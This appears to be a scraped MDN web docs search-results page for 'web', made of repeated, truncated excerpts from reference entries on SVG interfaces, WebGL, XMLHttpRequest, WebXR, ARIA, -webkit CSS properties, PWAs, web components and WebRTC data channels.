Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
SVGStopElement - Web APIs
The SVGStopElement interface corresponds to the <stop> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
SVGStyleElement - Web APIs
The SVGStyleElement interface corresponds to the SVG <style> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
SVGSymbolElement - Web APIs
The SVGSymbolElement interface corresponds to the <symbol> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
SVGTitleElement - Web APIs
The SVGTitleElement interface corresponds to the <title> element. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266...
...h="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#D4DDE4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/Element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#D4DDE4" fill="none"/><line x1="351" y1="25" x...
...And 2 more matches
Slottable: assignedSlot - Web APIs
DOMThe definition of 'assignedSlot' in that specification. Living Standard Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...To change prefe...
... 63 No support 59 -- 63Disabled Disabled From version 59 until version 63 (exclusive): this feature is behind the dom.
webcomponents.shadowdom.enabled preference (needs to be set to true). To change preferences in Firefox, visit about:config. No support ? -- 59Disabled Disabled Until version 59 (exclusive): this feature is behind the dom.
webcomponents.enabled preference (needs to be set to true) and the dom.
webcomponents.shadowdom.enabled preference (needs to be set to true). To change preferences in Firefox, visit about:config.IE No support NoOpera Full support 40Safari Full support 10.1
WebView Andro...
...And 2 more matches
Hello vertex attributes - Web APIs
Hello World program in GLSL How to send input to a shader program by saving data in GPU memory. <p>First encounter with attributes and sending data to GPU. ...
... #version 100 precision highp float; attribute float position; void main() { gl_Position = vec4(position, 0.0, 0.0, 1.0); gl_PointSize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { gl_FragColor = vec4(0.18, 0.54, 0.34, 1.0); } </script> ;(function(){ "use strict" window.addEventListener("load", setup
WebGL, false); var gl, program; function setup
WebGL (evt) { window.removeEventListener(evt.type, setup
WebGL, false); if (!(gl = getRenderingContext())) return; var source = document.querySelector("#vertex-shader").innerHTML; var vertexShader = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vertexShader,source); gl.compileShader(vertexShader); source = document.querySelector("...
...uerySelector("p").innerHTML = "Shader program did not link successfully. ...
...And 2 more matches
Scissor animation - Web APIs
<< PreviousNext >> A simple
WebGL example in which we have some animation fun using scissoring and clearing operations. Animation with scissoring In this example, we are animating squares using scissor() and clear(). We again establish an animation loop using timers. Note that this time it is the position of the square (the scissoring area) that is updated every frame (we set frame rate to roughly one every 17ms, or roughly 60fps - frames per second). In contrast, the color of the square (set with clearColor) is only updated when a new square is created. This is a nice demonstration of
WebGL as a state machine. For each square, we set its color once, and then update only its position every frame. ...
...ring area) that is updated every frame (we set frame rate to roughly one every 17ms, or roughly 60fps - frames per second). In contrast, the color of the square (set with clearColor) is only updated when a new square is created. This is a nice demonstration of
WebGL as a state machine. For each square, we set its color once, and then update only its position every frame. The clear color state of
WebGL remains at the set value, until we change it again when a new square is created. ...
...y 60fps - frames per second). In contrast, the color of the square (set with clearColor) is only updated when a new square is created. This is a nice demonstration of
WebGL as a state machine. For each square, we set its color once, and then update only its position every frame. The clear color state of
WebGL remains at the set value, until we change it again when a new square is created. ...
...And 2 more matches
Using IIR filters - Web APIs
This article looks at how to implement one, and use it in a simple example. Demo Our simple example for this guide provides a play/pause button that starts and pauses audio play, and a toggle that turns an IIR filter on and off, altering the tone of the sound. It also provides a canvas on which is drawn the frequency response of the audio, so you can see what effect the IIR filter has. You can check out the full demo here on Codepen. ...
... see the source code on GitHub. It includes some different coefficient values for different lowpass frequencies -- you can change the value of the filterNumber constant to a value between 0 and 3 to check out the different available effects. Browser support IIR filters are supported well across modern browsers, although they have been implemented more recently than some of the more longstanding
Web Audio API features, like Biquad filters. The IIRFilterNode The
Web Audio API now comes with an IIRFilterNode interface. But what is this and how does it differ from the BiquadFilterNode we have already? An IIR filter is a infinite impulse response filter. It's one of two primary types of filters used in audio and digital signal processing. The other type is FIR -- finite impulse response filte...
...r is a infinite impulse response filter. It's one of two primary types of filters used in audio and digital signal processing. The other type is FIR -- finite impulse response filter. There's a really good overview to IIF filters and FIR filters here. A biquad filter is actually a specific type of infinite impulse response filter. It's a commonly-used type and we already have it as a node in the
Web Audio API. If you choose this node the hard work is done for you. For instance, if you want to filter lower frequencies from your sound, you can set the type to highpass and then set which frequency to filter from (or cut off). There's more information on how biquad filters work here. When you are using an IIRFilterNode instead of a BiquadFilterNode you are creating the filter yourself, rather t...
...And 2 more matches
Using XMLHttpRequest - Web APIs
Examples of both common and more obscure use cases for XMLHttpRequest are included. To send an HTTP request, create an XMLHttpRequest object, open a URL, and send the request. After the transaction completes, the object will contain useful information such as the response body and the HTTP status of the result. ...
...async argument (the third argument) that is set on the XMLHttpRequest.open() method. If this argument is true or not specified, the XMLHttpRequest is processed asynchronously, otherwise the process is handled synchronously. A detailed discussion and demonstrations of these two types of requests can be found on the synchronous and asynchronous requests page. Do not use synchronous requests outside
Web Workers. Note: Starting with Gecko 30.0 (Firefox 30.0 / Thunderbird 30.0 / SeaMonkey 2.27), synchronous requests on the main thread have been deprecated due to the negative effects to the user experience. Note: The constructor function XMLHttpRequest isn't limited to only XML documents. It starts with "XML" because when it was created the main format that was originally used for Asynchronous Da...
...aks. However, this method is a "last resort" since if the XML code changes slightly, the method will likely fail. Note: XMLHttpRequest can now interpret HTML for you using the responseXML property. Read the article about HTML in XMLHttpRequest to learn how to do this. Processing a responseText property containing an HTML document If you use XMLHttpRequest to get the content of a remote HTML
webpage, the responseText property is a string containing the raw HTML. This could prove difficult to manipulate and analyze. There are three primary ways to analyze and parse this raw HTML string: Use the XMLHttpRequest.responseXML property as covered in the article HTML in XMLHttpRequest. Inject the content into the body of a document fragment via fragment.body.innerHTML and traverse the DOM of...
...And 2 more matches
XRPermissionDescriptor - Web APIs
User permissions in the
WebXR Device API are managed using the Permissions API. To that end, the XRPermissionDescriptor dictionary is used to describe the
WebXR features the app needs to use, as well as those features it would like ot use if permision is granted. The XRPermissionDescriptor's name must be set to xr in order to direct the Permissions API to correctly handle the request as applying to
WebXR. Properties In addition to inheriting the properties of the parent interface, PermissionDescriptor, XRPermissionDescriptor provides the following properties. mode An XRSessionMode value indicating the XR mode (inline, immersive-vr, or immersive-ar) for which the permissions are requested. ...
...the request as applying to
WebXR. Properties In addition to inheriting the properties of the parent interface, PermissionDescriptor, XRPermissionDescriptor provides the following properties. mode An XRSessionMode value indicating the XR mode (inline, immersive-vr, or immersive-ar) for which the permissions are requested. optionalFeatures An array of strings, each specifying the name of a
WebXR feature which is requested but not required for the app to function. The available features are the same as those used by XRSessionInit; see Default features in XRSessionInit for further information. requiredFeatures An array of strings giving the names of the
WebXR features for which permission must be obtained in order to use your app or site. Examples The example below demonstrates perf...
...e in an immersive-vr environment. If the Permissions API is found to be available (by checking to see if navigator.permissions is defined), its query() method is called, specifying the permission descriptor we've established, xrPermissionDesc. When the returned promise resolves, we check the returned status. If permission has been granted, we call a function setupXR() that handles preparing the
WebXR environment for use. If permission is conditional based on prompting, we call a function promptAndSetupXR() that would handle asking for permission before enabling and starting up the environment. And for any other returned state--which is almost certainly denied, which is the only other option as of this article's writing--we do nothing, since we can't use
WebXR. If the permission request pro...
...And 2 more matches
XRRenderState.baseLayer - Web APIs
The read-only baseLayer property of the XRRenderState interface returns the XR
WebGLLayer instance that is the source of bitmap images and a description of how the image is to be rendered in the device. This property is read-only; however, you can indirectly change its value using XRSession.updateRenderState. Syntax var xr
WebGLLayer = xrRenderState.baseLayer; Value A XR
WebGLLayer object which is used as the source of the world's contents when rendering each frame of the scene. See the examples below to see how to use updateRenderState() to set the current XR
WebGLLayer used for rendering the scene. ...
...you can indirectly change its value using XRSession.updateRenderState. Syntax var xr
WebGLLayer = xrRenderState.baseLayer; Value A XR
WebGLLayer object which is used as the source of the world's contents when rendering each frame of the scene. See the examples below to see how to use updateRenderState() to set the current XR
WebGLLayer used for rendering the scene. ...
...er object which is used as the source of the world's contents when rendering each frame of the scene. See the examples below to see how to use updateRenderState() to set the current XR
WebGLLayer used for rendering the scene. Examples You can set the XR
WebGLLayer used for rendering by calling updateRenderState(), like this: let canvas = document.querySelector("canvas"); gl = canvas.getContext("
webgl", { xrCompatible: true }); setNew
WebGLLayer(); function setNew
WebGLLayer(gl) { if (!gl) { /*
WebGL not available */ return; } xrSession.updateRenderState({ baseLayer: new XR
WebGLLayer(xrSession, gl); }); }; Here, the canvas obtained in the first line is the canvas into which
WebGL is going to draw. That context is passed into new XR
WebGLLayer() to create an XR
WebGLLayer ...
...And 2 more matches
XRSession.requestAnimationFrame() - Web APIs
ionFrameCallback); Parameters animationFrameCallback A function which is called before the next repaint in order to allow you to update and render the XR scene based on elapsed time, animation, user input changes, and so forth. The callback receives as input two parameters: time A DOMHighResTimeStamp indicating the time offset at which the updated viewer state was received from the
WebXR device. xrFrame An XRFrame object describing the state of the objects being tracked by the session. This can be used to obtain the poses of the viewer and the scene itself, as well as other information needed to render a frame of an AR or VR scene. Return value An integer value which serves as a unique, non-zero ID or handle you may pass to cancelAnimationFrame() if you need to remov...
...ue which serves as a unique, non-zero ID or handle you may pass to cancelAnimationFrame() if you need to remove the pending animation frame request. Example The following example requests XRSession with "inline" mode so that it can be displayed in an HTML element (without the need for a separate AR or VR device). ...
... } }) }) The following example was taken directly from the spec draft. ...
...And 2 more matches
XRSession.updateRenderState() - Web APIs
This is null by default. ...
...pplied to the active render state prior to rendering of the next frame. Syntax xrSession.updateRenderState(newState) Parameters newState An object conforming to the XRRenderStateInit dictionary specifying the properties of the session's renderState to update before rendering the next frame. The specified object may have any combination of the following fields. baseLayer Optional An XR
WebGLLayer object from which the
WebXR compositor will obtain imagery. This is null by default. depthFar Optional A floating-point value specifying the distance in meters from the viewer to the far clip plane, which is a plane parallel to the display surface beyond which no further rendering will occur. All rendering will take place between the distances specified by depthNear and depthFar. This is...
... the following reasons: The XRSession has already ended, so you cannot change its render state. The baseLayer specified in newState was created by an XRSession other than the one on which updateRenderState() was called. The inlineVerticalFieldOfView property was set, but the session is immersive and therefore does not allow this property to be used. ...
...And 2 more matches
XRViewport - Web APIs
The
WebXR Device API's XRViewport interface provides properties used to describe the size and position of the current viewport within the XR
WebGLLayer being used to render the 3D scene. Properties height Read only The height, in pixels, of the viewport. width Read only The width, in pixels, of the viewport. x Read only The offset from the origin of the destination graphics surface (typically a XR
WebGLLayer) to the left edge of the viewport, in pixels. y Read only The offset from the origin of the viewport to the bottom edge of the viewport;
WebGL's coordinate system places (0, 0) at the bottom left corner of the surface. Usage notes Currently, the only type of surface available is the XR
WebGLLayer. The precise orientation of the coordinate system may vary with other surfa...
...ayer) to the left edge of the viewport, in pixels. y Read only The offset from the origin of the viewport to the bottom edge of the viewport;
WebGL's coordinate system places (0, 0) at the bottom left corner of the surface. Usage notes Currently, the only type of surface available is the XR
WebGLLayer. The precise orientation of the coordinate system may vary with other surface types, but in
WebGL, the origin (0, 0) is located at the bottom-left corner of the surface. Thus the values specified in an XRViewport define a rectangle whose bottom-left corner is at (x, y) and which extends width pixels toward the left and height pixels upward. ...
...
WebGLLayer. The precise orientation of the coordinate system may vary with other surface types, but in
WebGL, the origin (0, 0) is located at the bottom-left corner of the surface. Thus the values specified in an XRViewport define a rectangle whose bottom-left corner is at (x, y) and which extends width pixels toward the left and height pixels upward. These values may be passed directly into the
WebGLRenderingContext.viewport() method: let xrViewport = xr
WebGLLayer.getViewport(xrView); gl.viewport(xrViewport.x, xrViewport.y, xrViewport.width, xrViewport.height); Example This example sets up an animation frame callback using requestAnimationFrame(). After initial setup, it iterates over each of the views within the viewer's pose, configuring the viewport as dictated by the XR
WebGLLayer. x...
...And 2 more matches
Web applications and ARIA FAQ - Accessibility
ARIA provides a means to make
web applications and widgets more accessible to a diverse range of users, including those who use assistive technologies such as screen readers or magnifiers. ARIA provides additional semantics to describe the role, state, and functionality of many familiar user interface controls, such as menus, sliders, trees, and dialogs. It also provides additional structural information, helping authors identify landmarks, regions, and grids on their pages. ...
... menus, sliders, trees, and dialogs. It also provides additional structural information, helping authors identify landmarks, regions, and grids on their pages. ARIA enables dynamic, JavaScript-driven applications and widgets to interoperate with a variety of desktop-based assistive technologies. For more information about how to create accessible widgets with ARIA, see the Overview of accessible
web applications and widgets. Where is ARIA Supported? ARIA is a relatively new specification, but support for it is growing. A wide variety of commonly-used browsers, assistive technologies, JavaScript toolkits, and applications now support ARIA. However, many users may still be using older versions of these technologies. You may want to consider implementing ARIA using progressive enhancement tec...
...ly versions of these tools often had partial or buggy ARIA implementations. For notes on JAWS support for ARIA as of JAWS 10, see this article from the Paciello Group: JAWS Support for ARIA. JavaScript Toolkits ARIA roles, states, and properties have been added to a number of popular JavaScript user interface toolkits, including: Dojo/Dijit jQuery UI Fluid Infusion Google Closure Google
Web Toolkit BBC Glow Yahoo! User Interface Library (YUI) For more information about JavaScript toolkit accessibility: Steve Faulkner's WAI-ARIA Implementation in JavaScript UI Libraries Can you show me an example of ARIA in action? Sure. Here's the markup for a progress bar widget: <div id="percent-loaded" role="progressbar" aria-valuenow="75" aria-valuemin="0" aria-valuemax="100" /> This...
...And 2 more matches
-webkit-line-clamp - CSS: Cascading Style Sheets
In most cases you will also want to set overflow to hidden, otherwise the contents won't be clipped but an ellipsis will still be shown after the specified number of lines. When applied to anchor elements, the truncating can happen in the middle of the text, not necessarily at the end. Note: This property was originally implemented in
WebKit and has some issues. It got standardized for legacy support. ...
...e-box and the -
webkit-box-orient property set to vertical. In most cases you will also want to set overflow to hidden, otherwise the contents won't be clipped but an ellipsis will still be shown after the specified number of lines. When applied to anchor elements, the truncating can happen in the middle of the text, not necessarily at the end. Note: This property was originally implemented in
WebKit and has some issues. It got standardized for legacy support. The CSS Overflow Module Level 3 specification also defines a line-clamp property, which is meant to replace this property and avoid its issues. Syntax /* Keyword value */ -
webkit-line-clamp: none; /* <integer> values */ -
webkit-line-clamp: 3; -
webkit-line-clamp: 10; /* Global values */ -
webkit-line-clamp: inherit; -
webkit-line-c...
... issues. It got standardized for legacy support. The CSS Overflow Module Level 3 specification also defines a line-clamp property, which is meant to replace this property and avoid its issues. Syntax /* Keyword value */ -
webkit-line-clamp: none; /* <integer> values */ -
webkit-line-clamp: 3; -
webkit-line-clamp: 10; /* Global values */ -
webkit-line-clamp: inherit; -
webkit-line-clamp: initial; -
webkit-line-clamp: unset; none This value specifies that the content won't be clamped. <integer> This value specifies the number of lines after which the content will be clamped. It must be greater than 0. Formal definition Initial valuenoneApplies toall elementsInheritednoComputed valueas specifiedAnimation typeby computed value type Formal syntax none | <integer> Examples Truncating a...
...And 2 more matches
-webkit-print-color-adjust - CSS: Cascading Style Sheets
Values economy Normal behavior. Background colors and images are only printed if the user explicitly allows it in their browser's print settings dialog. ...
... /* Keyword values */ -
webkit-print-color-adjust: economy; -
webkit-print-color-adjust: exact; /* Global values */ -
webkit-print-color-adjust: inherit; -
webkit-print-color-adjust: initial; -
webkit-print-color-adjust: unset; Syntax The -
webkit-print-color-adjust property is specified as one of the keyword values listed below. Values economy Normal behavior. ...
... Values economy Normal behavior. Background colors and images are only printed if the user explicitly allows it in their browser's print settings dialog. ...
...And 2 more matches
-webkit-text-stroke-width - CSS: Cascading Style Sheets
The -
webkit-text-stroke-width CSS property specifies the width of the stroke for text. Syntax /* Keyword values */ -
webkit-text-stroke-width: thin; -
webkit-text-stroke-width: medium; -
webkit-text-stroke-width: thick; /* <length> values */ -
webkit-text-stroke-width: 2px; -
webkit-text-stroke-width: 0.1em; -
webkit-text-stroke-width: 1mm; -
webkit-text-stroke-width: 5pt; /* Global values */ -
webkit-text-stroke-width: inherit; -
webkit-text-stroke-width: initial; -
webkit-text-stroke-width: unset; Values <line-width> The width of the stroke. ...
... Global values */ -
webkit-text-stroke-width: inherit; -
webkit-text-stroke-width: initial; -
webkit-text-stroke-width: unset; Values <line-width> The width of the stroke. ...
...inherit; -
webkit-text-stroke-width: initial; -
webkit-text-stroke-width: unset; Values <line-width> The width of the stroke. ...
...And 2 more matches
Introduction to Web development - Developer guides
For another (overlapping) set of links to learning resources, see the MDN Learning pages. Note: The recommended resources on this page are subject to change. Documentation topics HTML The basics of Hypertext Mark-up Langage (HTML) -- what exactly is HTML? Basic structure of a
web page -- the doctype and document 'tree' Fundamental HTML elements -- structural, head, list, form elements and more, explained by category. ...
...zons into new realms of
Web awesomeness, the links here should help you get started. For another (overlapping) set of links to learning resources, see the MDN Learning pages. Note: The recommended resources on this page are subject to change. Documentation topics HTML The basics of Hypertext Mark-up Langage (HTML) -- what exactly is HTML? Basic structure of a
web page -- the doctype and document 'tree' Fundamental HTML elements -- structural, head, list, form elements and more, explained by category. HTML beginners tutorial -- a tutorial and exercise that recap and take you through the basics you've learned above. HTML elements reference guide -- a comprehensive guide to HTML elements with details on how browsers support them CSS ...
...e -- a comprehensive guide to HTML elements with details on how browsers support them CSS Getting started with CSS -- an absolute beginners guide to CSS covers basic concepts and fundamentals CSS reference guide -- a complete guide to CSS with details on the level of Gecko/Firefox support for each. The W3C introduction to styling with CSS -- a brief guide to styling
web pages for beginners. Common CSS questions -- common questions and answers for beginners Intermediate CSS concepts -- grouping, pseudo-classes and more. JavaScript Beginning Getting started with JavaScript -- what is JavaScript and how can it help you? JavaScript reference guide -- a comprehensive, regularly updated guide to JavaScript for all levels of lea...
...And 2 more matches
WebAssembly.LinkError() constructor - JavaScript
The
WebAssembly.LinkError() constructor creates a new
WebAssembly LinkError object, which indicates an error during module instantiation (besides traps from the start function). Syntax new
WebAssembly.LinkError(message, fileName, lineNumber) Parameters message Optional Human-readable description of the error. fileName Optional The name of the file containing the code that caused the exception. lineNumber Optional The line number of the code that caused the exception. ...
...) Parameters message Optional Human-readable description of the error. fileName Optional The name of the file containing the code that caused the exception. lineNumber Optional The line number of the code that caused the exception. ...
... ECMAScript (ECMA-262)The definition of 'NativeError constructors' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pu...
...And 2 more matches
icons - Web app manifests
Type Array Mandatory Yes The icons member specifies an array of objects representing image files that can serve as application icons for different contexts. For example, they can be used to represent the
web application amongst a list of other applications, or to integrate the
web application with an OS's task switcher and/or system preferences. ...
... Mandatory Yes The icons member specifies an array of objects representing image files that can serve as application icons for different contexts. For example, they can be used to represent the
web application amongst a list of other applications, or to integrate the
web application with an OS's task switcher and/or system preferences. ...
...ifies an array of objects representing image files that can serve as application icons for different contexts. For example, they can be used to represent the
web application amongst a list of other applications, or to integrate the
web application with an OS's task switcher and/or system preferences. Examples "icons": [ { "src": "icon/lowres.
webp", "sizes": "48x48", "type": "image/
webp" }, { "src": "icon/lowres", "sizes": "48x48" }, { "src": "icon/hd_hi.ico", "sizes": "72x72 96x96 128x128 256x256" }, { "src": "icon/hd_hi.svg", "sizes": "72x72" } ] Values Image objects may contain the following values: Member Description sizes A string containing space-separated image dimensions. src The path to th...
...And 2 more matches
PWA developer guide - Progressive web apps (PWAs)
In the articles listed here, you'll find guides about every aspect of development specific to the greation of progressive
web applications (PWAs). For all other documentation about
web development, which generally pertains to PWAs as well, see our primary
web development documentation. --->>> Titles below are just for the list; give articles good SEO names and feel free to tweak those and this as needed... <<<---
Web app basics Introduction and getting started with PWA development some description Installing and uninstalling
web apps An introductory guide to how a
web app can be installed on the user's device... ...
...good SEO names and feel free to tweak those and this as needed... <<<---
Web app basics Introduction and getting started with PWA development some description Installing and uninstalling
web apps An introductory guide to how a
web app can be installed on the user's device... ...
...ction and getting started with PWA development some description Installing and uninstalling
web apps An introductory guide to how a
web app can be installed on the user's device... ...
...And 2 more matches
Using templates and slots - Web Components
This was possible before, but it is made a lot easier by the HTML <template> element (which is well-supported in modern browsers). This element and its contents are not rendered in the DOM, but it can still be referenced using JavaScript. ...
...This was possible before, but it is made a lot easier by the HTML <template> element (which is well-supported in modern browsers). This element and its contents are not rendered in the DOM, but it can still be referenced using JavaScript. ...
...p> </template> This won't appear in your page until you grab a reference to it with JavaScript and then append it to the DOM, using something like the following: let template = document.getElementById('my-paragraph'); let templateContent = template.content; document.body.appendChild(templateContent); Although trivial, you can already start to see how this could be useful. Using templates with
web components Templates are useful on their own, but they work even better with
web components. Let's define a
web component that uses our template as the content of its shadow DOM. We'll call it <my-paragraph>: customElements.define('my-paragraph', class extends HTMLElement { constructor() { super(); let template = document.getElementById('my-paragraph'); let templateConte...
...And 2 more matches
Why Well-Formed Web RSS Module is Popular - Syndicating Your Comments - Archive of obsolete content
There aren't many blogs out there that don't allow commenting of blog posts. However, RSS does not provide sufficient facilities for dealing with them. Sure RSS has the <comments> element, but it points to a HTML page that isn't machine readable. It is desirable to be able to deal with comments in the same way one deals with RSS feeds; through syndication. ...
...However, RSS does not provide sufficient facilities for dealing with them. Sure RSS has the <comments> element, but it points to a HTML page that isn't machine readable. It is desirable to be able to deal with comments in the same way one deals with RSS feeds; through syndication. The RSS Well-Formed
Web Module exists to fill this gap. ...
...ment, but it points to a HTML page that isn't machine readable. It is desirable to be able to deal with comments in the same way one deals with RSS feeds; through syndication. The RSS Well-Formed
Web Module exists to fill this gap. ...
...This element lets you syndicate your comments. The URI in the <wfw:commentRss> element must point to an RSS feed containing the comments for the <item> it is contained in. ...
WebRTC data channels - Game development
In the context of a game, this lets players send data to each other, whether text chat or game status information. Data channels come in two flavors. Reliable channels guarantee that messages you send arrive at the other peer and in the same order in which they're sent. This is analogous to a TCP socket. ...
...In the context of a game, this lets players send data to each other, whether text chat or game status information. Data channels come in two flavors. Reliable channels guarantee that messages you send arrive at the other peer and in the same order in which they're sent. This is analogous to a TCP socket. ...
...e in two flavors. Reliable channels guarantee that messages you send arrive at the other peer and in the same order in which they're sent. This is analogous to a TCP socket. Unreliable channels make no such guarantees; messages aren't guaranteed to arrive in any particular order and, in fact, aren't guaranteed to arrive at all. This is analogous to a UDP socket. We have documentation for using
WebRTC. This article, however, will take advantage of some libraries that can help trivialize the work, and will demonstrate ways to use abstraction to work around implementation differences between browsers. Hopefully, of course, those differences will fade away in time. Using the p2p library One library you can use is the p2p library. This library provides a simple API for creating peer connectio...
...is library provides a simple API for creating peer connections and setting up streams and data channels. ...
Floats - Learn web development
Previous Overview: CSS layout Next Originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating multiple column layouts on
webpages. With the advent of flexbox and grid it has now returned to its original purpose, as this article explains. Prerequisites: HTML basics (study Introduction to HTML), and an idea of How CSS works (study Introduction to CSS.) Objective: To learn how to create floated features on
webpages, and to use the clear property and other methods of clearing floats. ...
... to its original purpose, as this article explains. Prerequisites: HTML basics (study Introduction to HTML), and an idea of How CSS works (study Introduction to CSS.) Objective: To learn how to create floated features on
webpages, and to use the clear property and other methods of clearing floats. The background of floats The float property was introduced to allow
web developers to implement simple layouts involving an image floating inside a column of text, with the text wrapping around the left or right of it. The kind of thing you might get in a newspaper layout. But
web developers quickly realized that you can float anything, not just images, so the use of float broadened, for example to fun layout effects such as drop-caps. Floats have commonly been use...
...ement simple layouts involving an image floating inside a column of text, with the text wrapping around the left or right of it. The kind of thing you might get in a newspaper layout. But
